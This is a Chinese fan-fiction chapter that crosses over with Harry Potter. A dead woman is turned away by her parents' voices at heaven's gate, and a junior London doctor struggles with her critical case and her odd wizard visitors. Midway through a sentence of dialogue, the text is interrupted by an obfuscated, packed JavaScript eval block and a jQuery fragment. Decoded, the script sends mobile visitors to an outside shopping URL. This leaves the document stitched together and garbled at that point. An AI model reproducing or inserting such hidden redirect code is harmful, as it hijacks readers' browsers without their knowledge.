她穿过一道纯白色的拱门，往上走。
金灿灿的彩霞簇拥着她，脚下是澄澈透亮的海水，柠檬与橙子的清香浸润她的身体。远方有人在拨动竖琴，听上去真让人高兴。
她喜欢这里，停下来看了又看，不想走了。
“奈拉！”有女声叫道，“别发呆了，走了！”
她循声望去，只看到高处一片模糊的白光，边缘泛着好看的七彩虹晕。光芒里隐隐约约站着两个人，正冲她招手呢。
要去吗？她站起身来，可又舍不得眼前的美景。
“来吧，孩子。”男人的声音也叫了起来，“你不是想去喂鸽子吗？走，爸爸带你去，我买了面包丁。”
“面包丁还需要特意买？”女人责怪他，“省下钱来，给她买刚刚看中的那个发夹不好么？盯得眼睛都直了。”
不能吧，她想，她都这么大的人了，喜欢一个发夹喜欢到两眼发直，她喜欢人都没喜欢到这种程度。
“我已经买了！你看这是什么？”
“那这又是什么？你还买这个做什么？哎呀你——我只是随便看看，你怎么当真了？”
“我来，你别动……好了！反正我得让你知道，安杰丽卡，你永远是我的唯一，谁都不能和你比。”
她兴冲冲的脚步一停，觉得自己很是碍事。那男人女人忽然也一齐叫住了她，声音变得无比冷漠：“你是谁？”
我是谁？她感到很好笑，脱口就要说。
“我是——”明明是他们先叫她孩子，是他们先拿她当孩子，为什么现在又问她呢？
我是……她想，她大概的确就是“奈拉”，是那对男女的孩子，因为被呼唤时她感到一阵高兴，但记忆里她还拥有第二个名字，更多的人更多次地称呼这个名字，开心的、难过的、平和的、愤怒的、压抑的、嘲讽的……无数个声音挤压在她耳畔，叫得她心脏“嗵嗵”直跳。
“我是奈拉。”她努力冷静下来，抬手示意，“我来了，就来了。”
“不，你不是。”女人判决道，“我们没有你这样的孩子。”
“天主没有赐给我女儿一副健康的身体。”男人驱逐道，“你是个冒牌货，背离正途的女巫不配成为我的女儿。”
“哦，后来治好了。”她忍着难过说道，“动手术治好的。”
“撒谎！”
“你居然敢对着我们撒谎，看看你这副随口就撒谎的堕落样子！”
“你已经变成了阴沟里的渣滓，居然还敢说自己就是奈拉？我的小女儿，纯洁得像枝头的苹果花……你怎么敢！”
“我有苦衷的！”她喊起来，委屈得要命，“难道你们看不见吗？你们看不见我的心吗？”
“我们只看你做了什么，女巫，我们只看到你是撒旦的宠物、恶魔的帮凶。”
她难以置信，只管呆站在那里。她再也感受不到金灿灿的晚霞与澄澈的海水了。柠檬味道闻得她想吐。
“所以我只有当个疯疯癫癫的瘸子才是你们的女儿？”
“我魔力暴动炸死所有人才是你们的女儿？”
“还是随时随地以死明志才是你们的女儿？”
她哈哈大笑起来，喊道：“滚吧，滚！都滚！我不需要！”
然而白光里的男女并没有消失。他们换了一副平板的正义口吻，昂然道：“我等着你灭亡！我将看着你毁灭——”
“哦得了吧，我已经毁灭了。”她毫不客气地说，更多记忆涌现了出来，她想起她已经死了。
死在这个时候，这简直妙极了。她最怕手头的事情没有完成，断在那里接续不上，她又死了，旁人还能问谁呢？现在好了，她干干净净地，什么都不欠。
她浑身都轻松极了，迈步往上走。上面大概就是天堂，可白光里的男女抬起手来，不许她靠近。
“滚去地狱！”男人严厉地拒绝了她。
“地狱才是你最好的出路。”女人也傲慢地抱起手臂，“下去吧，女巫。”
“下地狱还要我自己走着去？”她也学着妈妈的样子抱起手臂，一屁股坐下了，“不走我就不走！”
“离开这里！”男声女声一齐怒喝，白光突然变得强烈又刺眼，她连忙捂住眼睛。
“回哪儿啊！”她不解又委屈地问，“我在这坐着也不行吗？只听说过被押送到地狱的，没听说过自己主动要去的，拿出点诚意来，好歹找两个天使吧？我要帅哥，不要那种全是眼睛的，阿门！”
那团白光涨得好大好大，已经完全看不清里面的人影了。那光芒照耀得她浑身发热，立即就出了满身的汗。
换做以前她会觉得，这一定是上天堂前的最后一道考验，只要她能咬牙挺过去……可现在么，她只会畏惧地坐到远处。
虽然赖着不想走，但已经很有下地狱的自觉了。
“滚回你的黑暗里去！滚回到你那些邪恶同类的身边去！”白光继续逼近，“你这毒蛇！过一百年天堂都不会接纳你！”
“这哪儿有黑暗……”她惬意地躺在沙滩上，打了个哈欠，海水被太阳晒得暖暖的，轻舔着她的脚趾，“我就在这儿了，爱怎么办就怎么办吧，人还能死两次？”
白光照在她身上，一点儿都不冷。她原本不想睡觉，一下子却觉得又累又困，头一歪就睡了过去。
————————
琳达·瓦利回到值班室，一下子蹲到了地上。冷汗一层层地浸透她的洗手衣，她摘下口罩，发现手还在哆嗦。
两个小时前急诊室收进一个病人，几乎可以称之为一具新鲜的死尸。这种情况琳达见得多了，虽然她不是个法医，但她还是勇敢地迎了上去：她是骨科的，今晚在急诊值班的SpR是普外的琼斯医生，Cons是她们骨科的“大先生”阿德勒教授。①
没什么好慌的，是吧？琳达还知道，普外的Cons贝茨女士②今晚因为别的事情也留在医院里，这更没什么可慌的了！
结果那女孩浑身上下没一点儿外伤，每一块骨头都结结实实的，如果她双手及手肘处的摩擦性表皮剥脱也算的话。
琳达捂住脸，不敢回想自己糟糕的表现。她已经在这家医院轮转了两年，进骨科也五个月了，刚刚还不如几位年长的护士。她想去呼叫其他科室来支援，都不知道该找谁！
最后还是患者家属拯救了她，大概是看她太尴尬，大概是他们同病相怜——因为完全插不上手。总之那位总得有八九十岁的长发老人主动找到琳达，诉说了患者的情况：女性，21岁，被活埋进了一个“用你们的话来说，有许多细菌”的地方。
“垃圾场？”琳达脑子狂转，“垃圾掩埋场？”
“不算很准确，但差不多吧！”老人摸了摸鼻子，他浑身上下都沾满了泥水，脏兮兮的，还散发出一股恶臭。
琳达很奇怪，因为伦敦今晚没下雨。如果他们没有住在附近，怎么会被送到这儿来呢？何况这也算是刑事案件了吧，警察呢，要报警吗？
“还有呢？”她继续问，瞥了一眼外面——好几个人正趴在玻璃上往里看，有男有女，有老有少，浑身上下是如出一辙的脏兮兮、湿淋淋。
“还有……”老人挠了挠头，似乎他也不明白究竟发生了什么，“我想她或许有点儿着凉，因为她似乎在发热。”
琳达还没点头，就被匆匆赶来的琼斯医生叫了进去。那女孩已经插上了管，两只手也都建立了静注通道，阿德勒教授也来了，正一脸严肃地听电话，最好别是检验科打来的。
她刚要汇报，琼斯医生已经开口道：“她正在发高烧，体温到了42摄氏度——”
琳达眼前一黑。
“横纹肌溶解，内科今天值班的人走了没？是谁，叫来透析。”阿德勒教授淡定地插了一句，“她CK值到了五万。”③
琳达连滚带爬扑过去给总台打电话，又被叫了回来：“这个让别人去干，你联系麻醉科空出一间手术室，我们得切开她的左臂筋膜。”
“这不着急吧？”琼斯医生不太赞成地说，“我现在都不敢保证这位克劳奇小姐能看到黎明的太阳。”
“今天就没太阳，阴天。”阿德勒教授不耐烦地说，“听着，急诊室是我们的地盘，而这种案子会上新闻的，而我们在里面却什么都没做。更何况……”
他走到克劳奇小姐身边，轻慢地抓起她的手臂挥了挥，完全不顾此时她正在输液，随意道：“高烧休克，根本也感觉不到疼，你怎么能知道她的筋膜没问题？如果她能醒来说一声手臂好痛，那还好了呢！”
要论话语权，琳达和琼斯医生加起来都不如阿德勒教授，连麻醉评估都在“大先生”的资历下完败。于是克劳奇小姐在仍然十分危重的情况下被推进了手术室，为了一个“或许存在、的确重要但完全不紧急”的症状，接受筋膜切开术。
麻醉刚打进去，贝茨女士就气冲冲地闯了进来，头上还戴着睡帽。
“无菌——”手术室护士卡罗尔弱弱地提醒。
“你是不是疯了？老糊涂了？”贝茨女士将克劳奇小姐的检验报告一把甩向阿德勒教授，“动手术？动你个头动！‘无菌’？无你个头无菌——不好意思亲爱的卡罗尔，我不是在说你。”
一旁OC的琳达默默地松了一口气，虽然她也被飓风尾扫射到了，但仍忍不住和麻醉师交换了一个庆幸的眼神。就克劳奇小姐这个情况，她都肾衰竭了，琳达和麻醉师小哥都害怕这一台小手术再给她弄死了。
那到时候谁负责？阿德勒教授是不可能的，麻醉师和她一定跑不了。
最后克劳奇小姐就这么被推回了ICU，阿德勒教授在贝茨女士的炮轰下毫无还手之力。克劳奇小姐这样子，就是死在手术台上也很正常，她的家属看上去又是什么都不懂的，琳达硬着头皮去要签字时自己都觉得心虚，但那些人似乎都意识不到人都快死了却要治手臂，这是一件多么荒唐的事。
她职业生涯的最大危害，琳达心想，不是过于饱和的工作量，而是她胡作非为的上司。
正想着，胸口的BB机就狂躁地响了起来，她迟钝地动弹了一下，拼命挥舞着僵硬麻木的四肢、扑过去打电话——
真的，地狱使者的口信也不过如此了：“6号床的克劳奇小姐醒了。”
醒了？
醒了？？？
怎么能醒了？怎么能醒的？
琳达真的要哭了。这事儿原本和她们骨科根本没关系，阿德勒教授在突发奇想要“共襄盛举”之前，他们都做得无可挑剔。可现在好了，全是骨科的责任了，麻醉也跑不了！
她都不知道自己是怎么狂奔到ICU的，来了也白来，里面已经忙翻了，就是挤进去也没用。琳达在门口打了个转，很有自觉地出来找家属，一见之下大为惊奇：
满身的泥水和恶臭都不见了，脏得看不清楚形状的衣服也都换了下来，每个人都体体面面、乖乖巧巧地坐在等候区，仿佛旁边接二连三大呼小叫地跑过去一堆人，不是为了救他们的亲友一样。
“那位老先生呢？”琳达问，挑了一个看上去比较稳重的灰发中年男人，这人其实挺精神的，就是模样显老，“留在房间里休息吗？”
他们一定是临时去附近的酒店收拾过了吧！
“什么房间？”灰发男人茫然地问，“你是说我们可以拥有一个房间吗，在这里？”
琳达耸了耸肩，总之在医院工作，什么奇怪的人都能遇见。
“各位和克劳奇小姐是什么关系？”她又望向那几个红发男人。
“我是……”灰发男人卡了一下，“我是她毕业之后才任教的老师。”
啊？琳达真想翻个白眼，那不就是没关系。
“我是……她同学的父亲。”年纪最大的秃顶红发男人回答，“不是同级，不是比她高，就是比她低。”
那不就是没关系？？？
“我比她高。”一位高个酷哥红发男回答。
这有关系吗？
“我比她低，但是……”另一位差不多高的红发男满面困惑，“我们难道不能算同事吗？”
“哦——”愚蠢的年长者们恍然大悟。
琳达觉得这群人都是神经病！病危通知书都签了，还有空说这个？
“刚刚……”她痛苦地捏着眉心，“刚刚是不是还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589525|202828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三位家属？”
一位长得活像黑////帮老大的残疾老人，一位神情凝重的黑皮硬汉，还有一个和患者差不多大的年轻女士，琳达对她印象特别深，因为她染了个别致的绿毛，还一直在哭，只有她在哭。
“他们都走了。”过期教师说，“是哦，唐克斯是克劳狄亚的朋友呢。”
好不容易有个朋友又走了？
“那位老先生——”琳达抱着最后一丝希望。
“我们的校长！”所有人异口同声，铿锵无比。
初步判断和校园霸凌有关——但这关她什么事？她是个大夫，没有主持公道的义务！
琳达深深地吸了一口气，缓和下来：“听着，各位……我是说，克劳奇小姐的状况不太好。”
这些人又都露出一副吓了一跳的表情，她发现他们好像是真的不知道刚刚的紧急情况是为了什么。琳达不得不解释了一下以病人目前的状况，出现任何“变化”都不是好征兆。呼吸停止、心率降低固然是“正常情况”，但突然醒来是绝对不可能的啊！克劳奇小姐还吸入一堆麻药呢！
唯一的可能就是，人快死了，所以会出现一些违背医学常识的情况，耗尽了最后的生命力，她就真的见不到新的太阳了。
“几位商量一下。”琳达叹了口气，“稍后会有护士来带你们去消毒，只能去两个人。”
“我们就不去添乱了吧？”路人家长有些茫然。
怎么还没听懂吗！！！
“去做最后的道别，去听取患者的遗言，如果有的话。”琳达强忍烦躁，“也就是这一两个小时的事儿了，如果各位知道亲属的联系方式——”
“等等！”红发酷哥忽然举起一只手，“刚才你们说要把人切开——”
“筋膜切开术。”他弟弟跳了出来，手里捧着一本不知道从哪里掏出来的硬壳大厚书，怎么看怎么像是培训医生内部使用的参考书，“你们敢使用‘筋膜切开术’，难道不是因为克劳狄亚已经没事了吗？如果她情况很危殆……”
他“哗哗”地翻着书。
“……贸然动手术只会对她的身体造成负担，使她的病情恶化。”两张有些相似的红发面孔一齐盯住了她！
琳达·瓦利心里叫苦！
“什么意思什么意思？”他们的父亲也反应了过来，“你们是说麻瓜医院瞎乱搞？”
“我们医院叫圣托马斯医院。”琳达咬牙，“不叫什么‘麻瓜医院’。”
灰发男人清了清嗓子：“关于违规操作的事我想——”
“——我想我们稍后再谈。”来自她身后的另一个声音接口道，“我赶得及吧？真是的，亚瑟，你们换地方了也不通知我一声。”
“我们也不知道这是哪里。”红发秃顶男耸了耸肩，“麻瓜医生让我们在这等，我们就在这等了——所以ICU到底是什么？”
琳达僵硬地回头望去：最一开始那位长发老人回来了，他不仅回来了，还换了一身漂亮的翠绿色条绒西装，这分明就是“战袍”啊！他手里还挟着一位穿着天蓝色睡袍、戴着柠檬黄睡帽的年长女士，她微微阖着眼睛，像个漫画人物一样，鼻边顶着个晶莹的大鼻涕泡。
这一看就是律师啊！大状！完了！
琳达强忍崩溃去搬救兵，可ICU里忙碌的内科群贤似乎已经达成了某种共识，即眼下的局面都是你们骨科造成的，但烂摊子却要他们内科来处理，换成琳达、琳达也会一肚子怨气。至于阿德勒教授，阿德勒教授回办公室睡大觉了啊！
她忍气吞声，吃了无数冷脸，赔了一大堆小心（甚至有人问她‘不回急诊在这里看什么热闹’），终于摸清了克劳奇小姐的现状：单就各项数值来看，她还是快要死了；但她又的确醒着，刚醒过来时反应相当激烈，也不知道哪里来的牛劲，一点儿都不像个重症病人，干进三倍于正常剂量的镇定剂，她才冷静下来，但是仍然（！！！）醒着，眼珠子直勾勾地瞪着天花板上惨白的日光灯，任由护士将脱落的针头重新一一插好，还有她身上其他位置的插管，也都整理了一遍。
“怎么回事？”琳达拐了拐旁边的麻醉师，后者正以一种非常热切的眼神盯着病床。
“不知道。”麻醉师低头画了个十字，“上帝保佑她，我的论文。”
“她得要活下来才是你的论文吧？”
“活下来我也得能研究明白才行。”麻醉师耸耸肩，“如果她活下来，谣言一天之内就会传遍整座医院，是阿德勒教授把人带到手术室，偷偷给她打了什么专供女王和首相的神秘针剂，到时候我们都跑不了。”
那也还是活下来吧，琳达注视着病床，心里想着。然而转眼间，护士已经将消毒完毕、穿着隔离衣的两位“家属”带了进来——是患者的校长和那位律师。
“我以为会有亲属。”琳达难以置信。
“都去世了。”老人轻声说道，“亲生父母、养父养母。”
“兄弟姐妹呢？”
老人叹了一口气，倒是那位律师四处看看，好奇道：“她是什么病？”
“败血症，还有高烧和横纹肌溶解导致全身严重感染，”虽然之前已经告知过两次，琳达仍旧不厌其烦地解释起来，“高钾血症，肾脏及多器官衰竭。”
幸运的是没有脑损伤，大概埋得并不深，或者这场下在伦敦不知道哪里的雨，也希望这女孩活下来。
“听不懂。”女律师说，“你们麻瓜总是把简单的事说得很复杂。”
“……我们是圣托马斯。”琳达叹了口气，留了自己的私人BB机号给她，“今天的事我很抱歉……这是我们医院的责任，是阿德勒教授的责任，当然也是我的责任……如果您需要任何帮助，请联系我，我愿意出庭作证。”
“我去红色电话亭打这个号码就能找到你咯？”律师以一种与琳达截然不同的好奇语气问道。诚然，将来这场官司能让她拿到一笔不菲的律师费，但这未免也太冷血了。
“好了，帕梅拉。”长发老人从病床前回过头来，“我刚刚已经研究过了，克劳狄亚不能说话全是因为喉咙里这根管子——瓦利医生，你能帮忙把它拔了吗？”